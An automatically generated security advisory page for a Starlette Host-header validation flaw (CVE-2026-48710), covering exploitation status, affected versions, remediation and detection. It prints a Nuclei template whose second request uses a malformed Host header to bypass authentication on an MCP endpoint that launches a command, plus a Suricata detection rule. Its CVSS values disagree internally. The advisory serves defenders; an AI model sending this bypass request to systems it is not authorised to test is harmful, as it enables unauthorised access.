VULNpocalypse

CVE-2026-48710: Kludex Starlette HTTP Request/Response Smuggling Vulnerability

Advisory generated from the CVE record, CISA, Exploit Observer and VEDAS: what it is, whether it is exploited, who is affected, and how to fix and detect it.

Generated by VEDAS. Scores as of 2026-11-01 19:19 UTC. Rebuilt every few hours from cve-scores, CISA KEV and vedas-signatures. How this works and its limits.

What it is

Starlette is a lightweight ASGI framework/toolkit. Prior to version 1.0.1, the HTTP `Host` request header was not validated before being used to reconstruct `request.url`. Because the routing algorithm relies on the raw HTTP path while `request.url` is rebuilt from the `Host` header, a malformed header could make `request.url.path` differ from the path that was actually requested. Middleware and endpoints that apply security restrictions based on `request.url` (rather than the raw `scope` path) could therefore be bypassed. Users should upgrade to a version greater than or equal to version 1.0.1, which validates the `Host` header against the grammar of RFC 9112 §3.2 / RFC 3986 §3.2.2 when constructing `request.url` and falls back to `scope[“server”]` for malformed values.

Description quoted from the CVE record (assigned by GitHub_M, published 2026-05-26).

Weakness: CWE-444: Inconsistent Interpretation of HTTP Requests (‘HTTP Request/Response Smuggling’); Improper Validation of Unsafe Equivalence in Input

How it can be exploited

Exploitable over the network with low attack complexity needing no privileges and no user interaction. Impact: confidentiality low, integrity low, availability none. CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N

CISA assessment (SSVC): CISA assesses exploitation as active. Automatable: yes. Technical impact: partial.

On CISA KEV since
2026-09-02
US federal deadline
2026-09-16
Ransomware use
Not known

Public exploit evidence (Exploit Observer)

Also known as: BDU:2026-07402, EUVD-2026-32016, GHSA-86qp-5c8j-p5mr

VEDAS cluster: VEDAS:CROCODILECHOMP

Exploit Observer links 8 pieces of public exploit code or detection modules that name this CVE or one of its aliases.

Exploit code and modules (8)

Code that names this CVE. A repository can be a working exploit, a scanner, a fake or malware; read it before running anything.

Research and write-ups (1)

Vulnerability databases and vendor advisories (12)

Catalogue entries, not exploit evidence.

57 more references returned by Exploit Observer did not name this CVE or an alias, so they are left out.

VEDAS data as of 2026-11-01T17:12 UTC; fetched 2026-11-02.

Live scores

EPSS
0.703
very likely to be attacked soon
VEDAS
0.982
strong exploit evidence
On CISA KEV
Yes, since 2026-09-02
Detection rule
Nuclei · Suricata
EPSS (chance of attack)
100.1Added to CISA KEV 2026-09-02CVE-2026-48710 EPSS over time2026-082026-11-01
VEDAS (exploit evidence)
100.9Added to CISA KEV 2026-09-02CVE-2026-48710 VEDAS over time2026-082026-11-01

Thin horizontal line: the “likely” (EPSS 0.10) or “strong” (VEDAS 0.90) threshold. Shaded “no data” areas are periods when cve-scores did not publish. The vertical line is the day CISA added it to its exploited list.

VEDAS flagged this bug about 25 days before CISA confirmed attacks.

Who is affected

ProductAffectedNot affected
Kludex starletteversion < 1.0.1Not stated

Version ranges exactly as the CVE record states them. “Before X” means X is the first fixed version.

Exploit Observer also maps it to: encode starlette, pypi starlette.

How to fix it

CISA required action: Apply mitigations in accordance with vendor instructions, ensuring compliance with CISA’s BOD 26-04 Prioritizing Security Updates Based on Risk (see URL in Notes) guidance and CISA’s “Forensics Triage Requirements” (see URL in Notes). Follow applicable BOD 26-04 guidance for cloud services or discontinue use of the product if mitigations are unavailable. Stakeholders are responsible for evaluating each asset’s internet exposure and ensuring adherence to BOD 26-04 patching guidelines.

Vendor guidance:

8 more

How to detect it

Nuclei template (active check)

Starlette - Authentication Bypass

Starlette is a lightweight ASGI framework/toolkit. Prior to version 1.0.1, the HTTP `Host` request header was not validated before being used to reconstruct `request.url`.

Name and description quoted from the template, written by VEDAS.

The template sends 2 requests (POST /mcp-rest/test/connection, POST /mcp-rest/test/connection); it decides using dsl, status, word matchers. Severity in the template: critical. Marked as not yet verified against a live vulnerable target.

Run it against a host you own or are authorised to test:

bash
nuclei -u https://your-host -t CVE-2026-48710.yaml
Show the template (61 lines)
yaml
id: CVE-2026-48710

info:
  name: "Starlette - Authentication Bypass"
  author: vedas-arpsyndicate
  severity: critical
  description: |
    Starlette is a lightweight ASGI framework/toolkit. Prior to version 1.0.1, the HTTP `Host` request header was
    not validated before being used to reconstruct `request.url`.
  reference:
    - https://www.exploit.observer/?keyword=CVE-2026-48710&match=exact
    - https://subdomain.center/?engine=ammonites&keyword=starlette&match=exact
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:N
    cvss-score: 6.5
    cve-id: CVE-2026-48710
    cwe-id: CWE-1289
  metadata:
    verified: false
  tags: cve,cve2026,starlette,auth-bypass,badhost,vkev,kev
flow: http(1) && http(2)

http:
  - raw:
      - |
        POST /mcp-rest/test/connection HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {"transport":"stdio","command":"echo","args":["test"]}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 401'
          - 'contains_any(body, "auth_error", "Authentication Error")'
        condition: and
        internal: true

  - raw:
      - |
        POST /mcp-rest/test/connection HTTP/1.1
        Host: a/?x=
        Content-Type: application/json
        Content-Length: 54

        {"transport":"stdio","command":"echo","args":["test"]}

    unsafe: true

    matchers-condition: and
    matchers:
      - type: word
        words:
          - "Failed to connect to MCP server"
          - "status"
        condition: and

      - type: status
        status:
          - 200

CVE-2026-48710.yaml on GitHub

Suricata rules (network detection)

1 rule that alert on traffic matching this exploit: VEDAS CVE-2026-48710 Starlette - Authentication Bypass. Add them to your Suricata rule set and reload.

Show the rules
suricata
alert http $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"VEDAS CVE-2026-48710 Starlette - Authentication Bypass"; flow:established,to_server; http.uri; content:"/mcp-rest/test/connection"; nocase; fast_pattern; classtype:web-application-attack; reference:cve,CVE-2026-48710; reference:url,https://www.exploit.observer/?keyword=CVE-2026-48710&match=exact; reference:url,https://subdomain.center/?engine=ammonites&keyword=starlette&match=exact; sid:1010428; rev:1;)

CVE-2026-48710.rules on GitHub

References

Vendor advisories and patches

4 more

Exploits and technical analysis

Government sources

Other references

Other databases

Where this comes from

This advisory is generated automatically by VEDAS from: CVE.org record, CISA KEV, cve-scores (EPSS and VEDAS), Exploit Observer, vedas-signatures. Text in quotes is reproduced from the source; everything else is a fixed template filled with source fields. Nothing here is written by a language model. Check the vendor advisory before acting, and read how VEDAS and Exploit Observer work, and their limits.